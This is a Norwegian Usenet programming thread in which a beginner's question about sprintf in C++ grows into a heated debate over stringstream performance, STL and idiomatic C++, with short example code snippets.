mer C++?
Asmund Ostvold
Jeg lager nå et C++ program, men jeg er mest vant til å programmere
C. Nå lurer jeg på om jeg nå programmerer C i C++?
min kode:
int intAlg;
char temp[ALG_CHAR_LENG];
std::string stringAlg;
std::sprintf (temp, "0%i", intAlg);
stringAlg = temp;
Åsmund
Sigurd Stenersen
Nybegynner, og så starter du din karriere med å starte krig på gruppa ? ;o)
Lar det seg kompilere med en C-kompilator ?
Lar det seg kompilere med en C++-kompilator ?
Hvis svarene er nei på det første og ja på det andre så er det C++
Det er min mening, og den er det ganske sikkert mange her som er uenig i.
Sigurd
Alf P. Steinbach
>Hei alle sammen
>
>Jeg lager nå et C++ program, men jeg er mest vant til å programmere
>C. Nå lurer jeg på om jeg nå programmerer C i C++?
Ja.
>min kode:
>
> int intAlg;
> char temp[ALG_CHAR_LENG];
Ikke bruk #define-konstanter. Bruk 'const'. Og da uten
versalnavn (som per konvensjon er reservert for makroer).
Ikke bruk en egendefinert konstant for lengde på et buffer
som skal holde en tallrepresentasjon.
Ikke bruk et buffer av noen fast lengde når det ikke behøves.
> std::string stringAlg;
>
> std::sprintf (temp, "0%i", intAlg);
> stringAlg = temp;
Svært vanskelig å kommentere uten at det virker ufint. Saken
er at for erfarne programmører vil jeg anbefale sprintf framfor
stringstream bl.a. pga. størrelsesorden(er) bedre ytelse, men da
wrappet i veltestede rutiner. Som nybegynner bør du imidlertid
sky sprintf m/venner som rabies og sars, for sjansen for at det
går galt er nær 100%; bruk std::stringstream m/venner i stedet.
Formattering er bl.a. støttet gjennom headeren <iomanip>.
Minimalt komplett eksempel:
#include <iostream>
#include <string> // std::string
#include <sstream> // std::ostringstream
template< typename T >
std::string toString( T const& value )
{
std::ostringstream stream;
stream << value;
return stream.str();
}
int main()
{
std::cout << toString( 1234 ) << std::endl;
return 0;
}
Hdh.,
- Alf
Asmund Ostvold
Jeg ville ikke starte noen krig!
[ Alf P. Steinbach ]
> Svært vanskelig å kommentere uten at det virker ufint.
Jeg foretrekker at folk sier hva de mener! Ikke vær redd for å
fortelle meg hva jeg har gjort feil.
> Saken er at for erfarne programmører vil jeg anbefale sprintf
> framfor stringstream bl.a. pga. størrelsesorden(er) bedre ytelse,
> men da wrappet i veltestede rutiner. Som nybegynner bør du
> imidlertid sky sprintf m/venner som rabies og sars, for sjansen for
> at det går galt er nær 100%; bruk std::stringstream m/venner i
> stedet.
Skal se på std::stringstream m/venner!
> Minimalt komplett eksempel:
>
>
> #include <iostream>
> #include <string> // std::string
> #include <sstream> // std::ostringstream
>
>
> template< typename T >
> std::string toString( T const& value )
> {
> std::ostringstream stream;
>
> stream << value;
> return stream.str();
> }
>
>
> int main()
> {
> std::cout << toString( 1234 ) << std::endl;
> return 0;
> }
Dette eksempelet skal jeg se mer på.
Takk!
H.
Åsmund
Sigurd Stenersen
> Jeg ville ikke starte noen krig!
Ingen grunn til bekymring. At det hersker sterke og ulike oppfatninger om
enkelte temaer er et faktum alle her må forholde seg til.
> [ Alf P. Steinbach ]
> > Saken er at for erfarne programmører vil jeg anbefale sprintf
> > framfor stringstream bl.a. pga. størrelsesorden(er) bedre ytelse,
> > men da wrappet i veltestede rutiner. Som nybegynner bør du
> > imidlertid sky sprintf m/venner som rabies og sars, for sjansen for
> > at det går galt er nær 100%; bruk std::stringstream m/venner i
> > stedet.
>
> Skal se på std::stringstream m/venner!
Merk deg dog hva han sier - streams er egnet til man har mer kontroll over det
man driver med. Jeg er enig i det - streams fungerer bra som læremiddel. Men
effektivt kommer det aldri til å bli.
Sigurd
Asmund Ostvold
Jeg ser at jeg burde ha postet hele funksjonen fordi det hadde spart
dere for en del antagelser. Jeg beklager at jeg ikke gjorde. Håper
hele funksjonen forklarer hva jeg vil litt bedre:
/**********************************************************************
* Transforms intAlg to a to character string.
*
* intAlg - in, in range [0..99]
* stringAlg - out, text representing intAlg. In "range": ["00".."99"]
* return - 0 ok,
* - 1 error: illegal value of intAlg
*/
int datacube::getStringAlg (int intAlg, std::string* stringAlg)
{
const int maxTemp = 3;
char temp[maxTemp];
if (intAlg > -1 && intAlg < 100) {
if (intAlg < 10) {
std::sprintf(temp, "0%i", intAlg);
*stringAlg = temp;
} else {
std::sprintf(temp, "%i", intAlg);
*stringAlg = temp;
}
} else {
return 1;
}
return 0;
}
Jeg har fortsatt tenkt til å se om jeg kan løse dette med
std::stringstream, men tenkte kanskje dette viser at jeg ikke var helt
ute på viddene? Håper jeg :-)
Åsmund
Christian Stigen Larsen
|
| Jeg er enig i det - streams fungerer bra som læremiddel. Men
| effektivt kommer det aldri til å bli.
Tror vi fremdeles bør unngå krig på denne gruppen, men du bør ikke
være så bastant i å påstå at streams _aldri_ kommer til å bli (eller
er) effektivt. :)
Hastigheten på streams er avhengig av hvem som har laget stream biblioteket
du bruker. (Det opprinnelige biblioteket til Stroustrup var visstnok
veldig kjapt, og hvis en tenker på det så har et streambasert IO bibliotek
potensialet til å være mye kjappere enn sprintf(), fordi kompilatoren kan
gjøre langt flere avgjørelser ved kompileringen istedenfor i runtime).
Og, alt etter hva du programmerer, så er det som oftest viktigere å lage
sikker og fungerende kode istedenfor kjapp og potensiell lusen (buggy) kode.
Til og med erfarne C programmerere er forsiktige med sprintf. Når
D.J. Bernstein laget qmail laget han sin egen utgave av sprintf. For å
sitere ham:
"I've mostly given up on the standard C library. Many of its
facilities, particularly stdio, seem designed to encourage bugs."
(fra http://cr.yp.to/qmail/guarantee.html)
Hvis noen vil se eksempler på kjappe stream bibliotek (_ikke_ IO, men
kryptering) så anbefaler jeg å teste ut Crypto++ av Wei Dai
(http://www.cryptopp.com).
Scott Meyers begynner boken sin "Effective C++" med et kapittel hvor han
anbefaler folk å gå bort fra typiske C-funksjoner som sprintf().
Men, for å være litt balansert i diskusjonen, så vet jeg veldig godt at
det virker mye enklere å skrive sprintf("%.4i\n", num) istedenfor
std::cout << std::setw(4) << num << std::endl; :-)
(c++ linja over er forøvrig ikke testet :)
--
Christian Stigen Larsen -- http://sublevel3.org/~csl/
Sigurd Stenersen
> if (intAlg < 10) {
> std::sprintf(temp, "0%i", intAlg);
> *stringAlg = temp;
> } else {
> std::sprintf(temp, "%i", intAlg);
> *stringAlg = temp;
> }
Kan skrives som :
std::sprintf(temp, "%2i", intAlg);
*stringAlg = temp;
Sigurd
Alf P. Steinbach
>Quoting Sigurd Stenersen <sig...@utvikling.com>:
>|
>| Jeg er enig i det - streams fungerer bra som læremiddel. Men
>| effektivt kommer det aldri til å bli.
>
>Tror vi fremdeles bør unngå krig på denne gruppen, men du bør ikke
>være så bastant i å påstå at streams _aldri_ kommer til å bli (eller
>er) effektivt. :)
>
>Hastigheten på streams er avhengig av hvem som har laget stream biblioteket
>du bruker. (Det opprinnelige biblioteket til Stroustrup var visstnok
>veldig kjapt, og hvis en tenker på det så har et streambasert IO bibliotek
>potensialet til å være mye kjappere enn sprintf(), fordi kompilatoren kan
>gjøre langt flere avgjørelser ved kompileringen istedenfor i runtime).
Mange ganger kan det være lurt å satse på potensiale.
Når de beste i verden har prøvd å realisere potensialet i ti til tjue
år (avhengig av hvordan man ser på det), uten å lykkes, eller mer presist,
ved å kun gjøre vondt verre, så er det kanskje på tide å tenke nytt... ;-)
Cheers,
- Alf
Sigurd Stenersen
> Quoting Sigurd Stenersen <sig...@utvikling.com>:
> |
> | Jeg er enig i det - streams fungerer bra som læremiddel. Men
> | effektivt kommer det aldri til å bli.
>
> Tror vi fremdeles bør unngå krig på denne gruppen, men du bør ikke
> være så bastant i å påstå at streams _aldri_ kommer til å bli (eller
> er) effektivt. :)
Det er et faktum at det ikke finnes streams-implementeringer som er like
effektive som f.eks.sprintf(). Og det anser jeg som et faktum helt til du har
en konkret implementering å vise til. Om det kanskje blir effektivt om ti år er
uinteressant...
> Hastigheten på streams er avhengig av hvem som har laget stream biblioteket
> du bruker.
Selvfølgelig. Og uansett hvem som har lagd det, så suger det ytelsesmessig.
> hvis en tenker på det så har et streambasert IO bibliotek
> potensialet til å være mye kjappere enn sprintf(), fordi kompilatoren kan
> gjøre langt flere avgjørelser ved kompileringen istedenfor i runtime).
I teorien kanskje. I praktiske anvendelser neppe.
> Og, alt etter hva du programmerer, så er det som oftest viktigere å lage
> sikker og fungerende kode istedenfor kjapp og potensiell lusen (buggy) kode.
Men det er bedre å lage sikker, fungerende OG kjapp kode.
> Scott Meyers begynner boken sin "Effective C++" med et kapittel hvor han
> anbefaler folk å gå bort fra typiske C-funksjoner som sprintf().
Typisk rocka guru. Det hadde vært bedre om han oppfordret folk til å lære seg
det de driver med...
> Men, for å være litt balansert i diskusjonen, så vet jeg veldig godt at
> det virker mye enklere å skrive sprintf("%.4i\n", num) istedenfor
> std::cout << std::setw(4) << num << std::endl; :-)
Nettopp.
Sigurd
Christian Stigen Larsen
|
| Når de beste i verden har prøvd å realisere potensialet i ti til tjue
| år (avhengig av hvordan man ser på det), uten å lykkes, eller mer presist,
| ved å kun gjøre vondt verre, så er det kanskje på tide å tenke nytt... ;-)
Hvis du står for det du sier så burde du ikke kode i C++.
Ellers ser dette ut som flamebait for meg, så jeg runder like godt av. :-)
Alf P. Steinbach
>
>Jeg ser at jeg burde ha postet hele funksjonen fordi det hadde spart
>dere for en del antagelser. Jeg beklager at jeg ikke gjorde. Håper
>hele funksjonen forklarer hva jeg vil litt bedre:
>
>/**********************************************************************
> * Transforms intAlg to a to character string.
> *
> * intAlg - in, in range [0..99]
> * stringAlg - out, text representing intAlg. In "range": ["00".."99"]
> * return - 0 ok,
> * - 1 error: illegal value of intAlg
> */
>int datacube::getStringAlg (int intAlg, std::string* stringAlg)
Bruk referanseoverføring for inn/ut-argument, ikke peker.
Bruk typen 'bool' for boolske verdier.
Jeg vil anfale en 'assert' på verdiområdet.
Da trenger du ingen boolsk returverdi.
Som gir deg mulighet til å returnere strengen fra funksjonen.
>{
> const int maxTemp = 3;
> char temp[maxTemp];
> if (intAlg > -1 && intAlg < 100) {
> if (intAlg < 10) {
> std::sprintf(temp, "0%i", intAlg);
> *stringAlg = temp;
> } else {
> std::sprintf(temp, "%i", intAlg);
> *stringAlg = temp;
> }
> } else {
> return 1;
> }
> return 0;
>}
Bibliotekene tilbyr ofte den funksjonaliteten du trenger, problemet er
kun å finne den...
>Jeg har fortsatt tenkt til å se om jeg kan løse dette med
>std::stringstream, men tenkte kanskje dette viser at jeg ikke var helt
>ute på viddene? Håper jeg :-)
#include <iostream>
#include <string> // std::string
#include <sstream> // std::ostringstream
#include <iomanip> // std::setw, std::setfill
#include <cassert> // assert
#include <cstdio> // sprintf
namespace bad
{
std::string twoDigitString( int x )
{
assert( 0 <= x && x <= 99 );
{
char s[3];
std::sprintf( s, "%02d", x );
return s;
}
}
} // namespace bad
namespace good
{
std::string twoDigitString( int x )
{
assert( 0 <= x && x <= 99 );
{
std::ostringstream stream;
stream << std::setfill( '0' ) << std::setw( 2 ) << x;
return stream.str();
}
}
} // namespace good
int main()
{
std::cout << bad::twoDigitString( 1 ) << std::endl;
std::cout << bad::twoDigitString( 22 ) << std::endl;
std::cout << good::twoDigitString( 3 ) << std::endl;
std::cout << good::twoDigitString( 44 ) << std::endl;
return 0;
}
Der "bad" og "good" som tidligere nevnt gjelder for ikke-ekspert.
Hdh.,
- Alf
PS: Håper dette var ikke noen hjemmelekse!
Alf P. Steinbach
>Quoting Alf P. Steinbach <al...@start.no>:
>|
>| Når de beste i verden har prøvd å realisere potensialet i ti til tjue
>| år (avhengig av hvordan man ser på det), uten å lykkes, eller mer presist,
>| ved å kun gjøre vondt verre, så er det kanskje på tide å tenke nytt... ;-)
>
>Hvis du står for det du sier så burde du ikke kode i C++.
Null logikk i det utsagnet.
>Ellers ser dette ut som flamebait for meg, så jeg runder like godt av. :-)
Begge setningene dine er flamebait.
Ha det.
Arne Martin Güettler
"%02i" mener du vel på formatet?
--
am
Don't assume. When you assume, you make an ASS out of U and ME.
Sigurd Stenersen
> |
> | Når de beste i verden har prøvd å realisere potensialet i ti til tjue
> | år (avhengig av hvordan man ser på det), uten å lykkes, eller mer presist,
> | ved å kun gjøre vondt verre, så er det kanskje på tide å tenke nytt... ;-)
>
> Hvis du står for det du sier så burde du ikke kode i C++.
Hvordan i all verden kommer du frem til den konklusjonen ?
> Ellers ser dette ut som flamebait for meg, så jeg runder like godt av. :-)
Hvorfor skriver du i det hele tatt, da ?
Sigurd
Sigurd Stenersen
> Sigurd Stenersen wrote:
> > "Asmund Ostvold" <asm...@tihlde.org> skrev
> >
> >> if (intAlg < 10) {
> >> std::sprintf(temp, "0%i", intAlg);
> >> *stringAlg = temp;
> >> } else {
> >> std::sprintf(temp, "%i", intAlg);
> >> *stringAlg = temp;
> >> }
> >
> >
> > Kan skrives som :
> > std::sprintf(temp, "%2i", intAlg);
> > *stringAlg = temp;
>
>
> "%02i" mener du vel på formatet?
Selvfølgelig. Faen. Der illustrerte jeg sikkert et eller annet poeng.
(Skjønt det poenget burde vel egentlig være at hvis man skal poste kode så bør
man teste den først. Men det tar for mye tid...)
Sigurd
Christian Stigen Larsen
|>| Når de beste i verden har prøvd å realisere potensialet i ti til tjue
|>| år (avhengig av hvordan man ser på det), uten å lykkes, eller mer presist,
|>| ved å kun gjøre vondt verre, så er det kanskje på tide å tenke nytt... ;-)
|>
|> Hvis du står for det du sier så burde du ikke kode i C++.
|
| Null logikk i det utsagnet.
Jeg skal forklare hva jeg mente, men først vil jeg understreke at jeg på
ingen måte mente å være frekk i svaret mitt, og beklager hvis jeg gav deg
det inntrykket. (Det var derfor jeg la til et smilefjes i postingen, men
jeg burde nok ha editert teksten før jeg sendte den)
Hvis du ergrer deg over hvordan C++ har utviklet seg som språk (sammen med
STL biblioteket) og synes løsningene er rotete og dårlige, så har du mange
sammenfallende meninger med folk som bruker eksempelvis LISP.
Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at det alltid
overgår fordelene med streams, så virker det som om du typisk bruker C++ som et
bedre C.
Derfor svarte jeg slik jeg gjorde; hvis du ikke liker C++, så bør man vurdere
å bruke et annet språk, med mindre man er tvunget til å bruke det.
Sigurd Stenersen
> STL biblioteket) og synes løsningene er rotete og dårlige, så har du mange
> sammenfallende meninger med folk som bruker eksempelvis LISP.
C++ er et fabelaktig språk. Spesielt hvis man unngår sånt tull som STL.
> Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at det
alltid
> overgår fordelene med streams, så virker det som om du typisk bruker C++ som
et
> bedre C.
Hvordan implementerer du arv i C ? Overloading ? Virtuelle metoder ? Alt det
som er innebygd i C++ uten inkludering av filer, men som ikke finnes i C ? DET
er C++, det.
Folk som skal snekre må av og til bruke hammer, selv om de har spikerpistol. Om
det finnes et standardisert tillegg til spikerpistolen som gjør at den spikrer
automatisk men da bruker ti ganger så lang tid så er man ikke nødt til å bruke
det... Hvorfor skulle det være annerledes med C++ ?
> Derfor svarte jeg slik jeg gjorde; hvis du ikke liker C++, så bør man vurdere
> å bruke et annet språk, med mindre man er tvunget til å bruke det.
Er det noen her som har sagt at de ikke liker C++ ? Det er mange dyktige
utviklere som har funnet ut at streams i praktisk bruk som regel er noe dritt.
Sigurd
Christian Stigen Larsen
|> Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at
|> det alltid overgår fordelene med streams, så virker det som om du
|> typisk bruker C++ som et bedre C.
|
| Hvordan implementerer du arv i C ? Overloading ? Virtuelle metoder ?
| Alt det som er innebygd i C++ uten inkludering av filer, men som ikke
| finnes i C ? DET er C++, det.
Det er helt greit for meg at du bruker C++ som et bedre C (for det er
nemlig det du gjør, hvis du _aldri_ bruker STL), det respekterer jeg. Men
problemet med argumentet ditt er at det kan brukes mot deg selv: Hvordan
implementerer du arv, overloading og virtuelle metoder i C sitt stdio ?
For å sette strek under diskusjonen vil jeg referere til comp.lang.c++ sin
FAQ [6.3] (http://www.parashift.com/c++-faq-lite/big-picture.html):
"""
C++ supports OO programming. C++ can also be used as a traditional
programming language (as "as a better C"). However if you use it "as a
better C," don't expect to get the benefits of object-oriented
programming.
"""
EOD.
Sigurd Stenersen
> |> Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at
> |> det alltid overgår fordelene med streams, så virker det som om du
> |> typisk bruker C++ som et bedre C.
> |
> | Hvordan implementerer du arv i C ? Overloading ? Virtuelle metoder ?
> | Alt det som er innebygd i C++ uten inkludering av filer, men som ikke
> | finnes i C ? DET er C++, det.
>
> Det er helt greit for meg at du bruker C++ som et bedre C (for det er
> nemlig det du gjør, hvis du _aldri_ bruker STL), det respekterer jeg. Men
> problemet med argumentet ditt er at det kan brukes mot deg selv: Hvordan
> implementerer du arv, overloading og virtuelle metoder i C sitt stdio ?
Dette er jo det reneste tullpreik. Hva er det som får deg til å tro at jeg har
behov for å overstyre noe som helst i stdio ?
Er det ofte at du arver fra cout i dine programmer ?
Prøv å bruke huet litt, og ta heller stilling til alle de argumentene du klippet
bort.
Forøvrig, fortell meg om dette programmet er C eller C++ :
void f()
{
}
void f(int &)
{
}
int main()
{
f();
int i = 0;
f(i);
return i;
}
Sigurd
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
>"Christian Stigen Larsen" <csla...@newscache.ntnu.no> skrev
>> Quoting Sigurd Stenersen <sig...@utvikling.com>:
>> |> Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at
>> |> det alltid overgår fordelene med streams, så virker det som om du
>> |> typisk bruker C++ som et bedre C.
>> |
>> | Hvordan implementerer du arv i C ? Overloading ? Virtuelle metoder ?
>> | Alt det som er innebygd i C++ uten inkludering av filer, men som ikke
>> | finnes i C ? DET er C++, det.
>>
>> Det er helt greit for meg at du bruker C++ som et bedre C (for det er
>> nemlig det du gjør, hvis du _aldri_ bruker STL), det respekterer jeg. Men
>> problemet med argumentet ditt er at det kan brukes mot deg selv: Hvordan
>> implementerer du arv, overloading og virtuelle metoder i C sitt stdio ?
>
>Dette er jo det reneste tullpreik. Hva er det som får deg til å tro at jeg har
>behov for å overstyre noe som helst i stdio ?
>
>Er det ofte at du arver fra cout i dine programmer ?
cout er et OBJEKT og IKKE en KLASSE!!!!
Du arver fra KLASSER og IKKE fra OBJEKTER!!!!
Jeg har faktisk MANGE GANGER arvet fra ifstream, istream, ofstream og
ostream etc...
F.eks. er et av de beste bz biblioteken som finnes for programmere
implementert som ARVET fra i/o-stream...
Men jeg er forsåvidt litt enig i at streams muligens kunne vært gjort
enklere og at C++ mangler et "conversion" bibliotek ala. f.eks. boost
sine lexical_cast... da stringstream er en litt høy terskel for å
konvertere en jæv.. int...
>
>
>Prøv å bruke huet litt, og ta heller stilling til alle de argumentene du klippet
>bort.
>
>
>Forøvrig, fortell meg om dette programmet er C eller C++ :
>
> void f()
> {
> }
>
> void f(int &)
> {
> }
>
> int main()
> {
> f();
> int i = 0;
> f(i);
> return i;
> }
>
>
>Sigurd
>
--
"FOOT-AND-MOUTH BELIEVED TO BE FIRST VIRUS
UNABLE TO SPREAD THROUGH MICROSOFT OUTLOOK"
Sigurd Stenersen
> On Mon, 7 Apr 2003 22:10:45 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>
> >"Christian Stigen Larsen" <csla...@newscache.ntnu.no> skrev
> >> Quoting Sigurd Stenersen <sig...@utvikling.com>:
> >> |> Hvis du mener at ytelsen til tekst-IO og formatering er så viktig at
> >> |> det alltid overgår fordelene med streams, så virker det som om du
> >> |> typisk bruker C++ som et bedre C.
> >> |
> >> | Hvordan implementerer du arv i C ? Overloading ? Virtuelle metoder ?
> >> | Alt det som er innebygd i C++ uten inkludering av filer, men som ikke
> >> | finnes i C ? DET er C++, det.
> >>
> >> Det er helt greit for meg at du bruker C++ som et bedre C (for det er
> >> nemlig det du gjør, hvis du _aldri_ bruker STL), det respekterer jeg. Men
> >> problemet med argumentet ditt er at det kan brukes mot deg selv: Hvordan
> >> implementerer du arv, overloading og virtuelle metoder i C sitt stdio ?
> >
> >Dette er jo det reneste tullpreik. Hva er det som får deg til å tro at jeg
har
> >behov for å overstyre noe som helst i stdio ?
> >
> >Er det ofte at du arver fra cout i dine programmer ?
> cout er et OBJEKT og IKKE en KLASSE!!!!
Hva så ? Han skjønte nok hva jeg mente. Det burde du også ha klart å skjønne.
Det er ingen grunn til å hyle...
> Du arver fra KLASSER og IKKE fra OBJEKTER!!!!
Du trenger ikke å forklare meg hvordan arv fungerer. Og du trenger ikke å
hyle...
> Jeg har faktisk MANGE GANGER arvet fra ifstream, istream, ofstream og
> ostream etc...
Det tviler jeg ikke på. Men her var det *meg* vi snakket om.
At du ikke bare bruker streams, men til og med arver fra dem sier jo det meste
om hvilke krav du stiller til ytelse og kodestørrelse i dine programmer...
> F.eks. er et av de beste bz biblioteken som finnes for programmere
> implementert som ARVET fra i/o-stream...
bz ? Snakk norsk, eller engelsk...
> Men jeg er forsåvidt litt enig i at streams muligens kunne vært gjort
> enklere og at C++ mangler et "conversion" bibliotek ala. f.eks. boost
> sine lexical_cast... da stringstream er en litt høy terskel for å
> konvertere en jæv.. int...
Problemet med streams er *ikke* at de ikke er enkle nok. Problemet er at
ytelsen er dårlig og at koden er stor.
Folk som bruker en stream for å konvertere en int til en streng burde
tvangsinnlegges et eller annet sted...
Sigurd
Thomas Hansen
>Folk som bruker en stream for å konvertere en int til en streng burde
>tvangsinnlegges et eller annet sted...
Men nå bruker jo du ikke hverken STL eller Boost, Christian Stigen
Larsen har bare SÅÅ rett.
Du har aldri programmert i C++, du prgrammerer i et "bedre c"...
Hva faen er du for no, spillprogrammerer?!?
I så fall kunne jeg skjønt en "del" av argumentene dine, men hei ærlig
talt "void main()"?!?
Det er en steinalder konstruksjon...
Faktum er at de fleste kunstruksjoner i STL som Alf misvisende
ekskluderer std::string fra er "kjapp nok" i de fleste situasjoner
slik at skalerbarheten, stabiliteten og enkelheten en får ved å bruke
det veier opp og vel så det for performance degredation i forhold til
å bruke"char *" "xprint" osv...
Hvor jævla mye speed trenger du egentlig for å lage et kunderegister
som f.eks. skal linke kunder fra ERP systemet opp imot kunder i CRM
systemet?!?
Er du villig til å tredoble antall linjer med kode og halvere
stabiliteten for å øke et jævla søk fra 0.01 sekund til 0.001, når
kunden hadde vært fornøyd med 1.0 sekund?!?
Sigurd Stenersen
>
> Men nå bruker jo du ikke hverken STL eller Boost, Christian Stigen
> Larsen har bare SÅÅ rett.
> Du har aldri programmert i C++, du prgrammerer i et "bedre c"...
Si meg... Har dere en forening, losje eller klubb der dere møtes for å vedta
hva som er sant, dere arrogante bedreviterne ?
> Hva faen er du for no, spillprogrammerer?!?
Nei, i motsetning til deg har jeg bred erfaring fra en rekke områder. Litt av
det er beskrevet på http://utvikling.com
Jeg forstår ikke helt hvorfor du rakker ned på spillutviklerne - var det ikke
det DU drev med inntil for et par år siden da du begynte å se deg om etter en
"ordentlig" jobb ?
> I så fall kunne jeg skjønt en "del" av argumentene dine, men hei ærlig
> talt "void main()"?!?
> Det er en steinalder konstruksjon...
Det er en konstruksjon som fungerer helt utmerket, og som er mye mer logisk enn
å alltid returnere 0.
> Hvor jævla mye speed trenger du egentlig for å lage et kunderegister
> som f.eks. skal linke kunder fra ERP systemet opp imot kunder i CRM
> systemet?!?
Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare for å
gjøre det ?
> Er du villig til å tredoble antall linjer med kode og halvere
> stabiliteten for å øke et jævla søk fra 0.01 sekund til 0.001, når
> kunden hadde vært fornøyd med 1.0 sekund?!?
Snakk for deg selv. Jeg har aldri økt antall linjer eller redusert stabiliteten
for å øke ytelsen.
Når man av legning skriver kode som både tar lite plass og som eksekverer
hurtig, så trenger man ikke å gå til slike skritt som det du åpenbart må for å
få bedre ytelse. Ytelsen er god nok i utgangspunktet...
Sigurd
Thore B. Karlsen
<thomas.hansenNOSP...@adramatch.com> wrote:
>>Folk som bruker en stream for å konvertere en int til en streng burde
>>tvangsinnlegges et eller annet sted...
>Du kan bruke Boost: "myString += lexical_cast<int>(5);"
Den bruker streams.
>Faktum er at de fleste kunstruksjoner i STL som Alf misvisende
>ekskluderer std::string fra
Misvisende? STL er ikke det samme som standardbiblioteket.
>er "kjapp nok" i de fleste situasjoner
>slik at skalerbarheten, stabiliteten og enkelheten en får ved å bruke
>det veier opp og vel så det for performance degredation i forhold til
>å bruke"char *" "xprint" osv...
De fleste konstruksjoner er kjappe nok. Streams er ikke kjappe nok for
meg. Jeg har testet dem, og de har vært opp til 100 ganger tregere enn
C-måten.
Det er dog ikke hovedproblemet, streams er også jævla kronglete å bruke,
mye verre enn alternativet IMHO. Hadde de i det minste vært mer
behagelige så hadde jeg kanskje kunnet levd med at de er så ekle på
andre måter.
--
Be seeing you.
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
>"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
>>
>> Men nå bruker jo du ikke hverken STL eller Boost, Christian Stigen
>> Larsen har bare SÅÅ rett.
>> Du har aldri programmert i C++, du prgrammerer i et "bedre c"...
>
>Si meg... Har dere en forening, losje eller klubb der dere møtes for å vedta
>hva som er sant, dere arrogante bedreviterne ?
Tjaa, den heter comp.lang.c++.* og kommer også i form av "C++
standarden"
>
>
>> Hva faen er du for no, spillprogrammerer?!?
>
>Nei, i motsetning til deg har jeg bred erfaring fra en rekke områder. Litt av
>det er beskrevet på http://utvikling.com
>
>Jeg forstår ikke helt hvorfor du rakker ned på spillutviklerne - var det ikke
>det DU drev med inntil for et par år siden da du begynte å se deg om etter en
>"ordentlig" jobb ?
Joda, men jeg rakket faktisk ikke ned på spillutviklere det var bare
den eneste plassen jeg for øyeblikket klarte å se en justification av
å benytte et "bedre C" da spillutvikling som regel krever at du
benytter hver eneste CPU syklus til noe "vettig"...
>
>
>> I så fall kunne jeg skjønt en "del" av argumentene dine, men hei ærlig
>> talt "void main()"?!?
>> Det er en steinalder konstruksjon...
>
>Det er en konstruksjon som fungerer helt utmerket, og som er mye mer logisk enn
>å alltid returnere 0.
Den er gammeldags, unødvendig og IKKE STANDARD.
Return verdien fra main forteller OS'et bla om applikasjonen klarte å
gjøre det den skulle eller ikke...
>
>
>> Hvor jævla mye speed trenger du egentlig for å lage et kunderegister
>> som f.eks. skal linke kunder fra ERP systemet opp imot kunder i CRM
>> systemet?!?
>
>Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare for å
>gjøre det ?
Nei men man kan lage robuste og skalerbare applikasjoner uten å
benytte mere tid enn det som er nødvendig...
>
>
>> Er du villig til å tredoble antall linjer med kode og halvere
>> stabiliteten for å øke et jævla søk fra 0.01 sekund til 0.001, når
>> kunden hadde vært fornøyd med 1.0 sekund?!?
>
>Snakk for deg selv. Jeg har aldri økt antall linjer eller redusert stabiliteten
>for å øke ytelsen.
Jeg vet om en million plasser jeg kan klare meg på halvparten av koden
som du trenger for å få gjort noe, e.g.:
Min løsning:
std::string x="sdfoijh";
const std::string y="sdfouioh";
x += y;
Din løsning:
char * x="sdfiug";
char const * const y="sdfuih";
char * z=new char[strlen(x)+strlen(y)+1];
strcpy(z, x);
strcpy(z+strlen(x), y);
x = z;
... (tør ikke gå god for hvorvidt "din løsning" har bugs eller ikke da
det er noen år siden jeg gjennomførte slike konstruksjoner)...
Så la oss si at dette programmet hvor "vår kode" er har skikkelig
suksess og skal porteres til f.eks. Taiwan.
Jeg vil gjennomføre Unicode porteringen ved hjelp av å skrive
std::string<w_char> x...
const std::string<w_char> x...
Hvordan vil DU gjøre det?!?
Eller la oss si at du legger til kode mellom
char * z=new char[strlen(x)+strlen(y)+1];
strcpy(z, x);
som kaster en exception, hva skjer da med minnet til z?!?
Lost Heap!!
Joda jeg vet at det finnes konstruksjoner som kan "eliminere" risikoen
for begge scenarioer, men poenget er og vil alltid være at STL
reduserer antall linjer med kode betraktelig!!!
>
>Når man av legning skriver kode som både tar lite plass og som eksekverer
>hurtig, så trenger man ikke å gå til slike skritt som det du åpenbart må for å
>få bedre ytelse. Ytelsen er god nok i utgangspunktet...
Kode som tar liten plass og som eksekveres hurtig trengs stort sett
kun på enkelte deler av enkelte applikasjoner, skal du beregne antall
primtall mellom 1 og 1*e298 så trenger du selvfølgelig raske
konstruksjoner som tar lite plass i minne, men skal du lage en snutt
som kopierer fil a fra x til y og i prosessen transformerer filen ved
hjelp av b så trenger du sjelden eller aldri noe mere ytelse enn et
gjennomsnittslig ræva skrevet STL bibliotek kan gi deg.
Faktum er at du sjelden egentlig trenger mere enn 1/100 av ytelsen du
faktisk har!!!
I f.eks. en vanlig regnskaps applikasjon vil f.eks. godt over 99% av
CPU og minne bli svidd på database aksess og ikke i din kode, derfor
er stort sett all optimalisering utover SQL optimalisering ikke bare
unødvendig men også en kilde til flere bugs.
Så hvis en da skal dynamiskt bygge SQL'er hva er enklest, std::string
eller strcpy?!?
std::stringstream sql;
int ledger_id = 3;
sql << "select sum(amount) from ledger where ledger_id = "
<< ledger_id
<< " and ledger_id in (select ledger_id from reconciledTable
where reconcile_id = " << cReconciledEnum << ")";
Recordset x = myDataBase.GetRecordset(sql.str());
Prøv å skriv den i strcpy...
Hvis vi snakker om spillprogrammering derimot, så er det en "totally
different ballgame"...
Thomas Hansen
Thore B. Karlsen <s...@6581.com> containing:
>On Wed, 09 Apr 2003 08:49:01 +0200, Thomas Hansen
><thomas.hansenNOSP...@adramatch.com> wrote:
>
>>>Folk som bruker en stream for å konvertere en int til en streng burde
>>>tvangsinnlegges et eller annet sted...
>
>>Du kan bruke Boost: "myString += lexical_cast<int>(5);"
>
>Den bruker streams.
>
>>Faktum er at de fleste kunstruksjoner i STL som Alf misvisende
>>ekskluderer std::string fra
>
>Misvisende? STL er ikke det samme som standardbiblioteket.
std::string ER en del av STL tidligere her i tråden ble det hevdet at
std::string IKKE var en del av STL
>
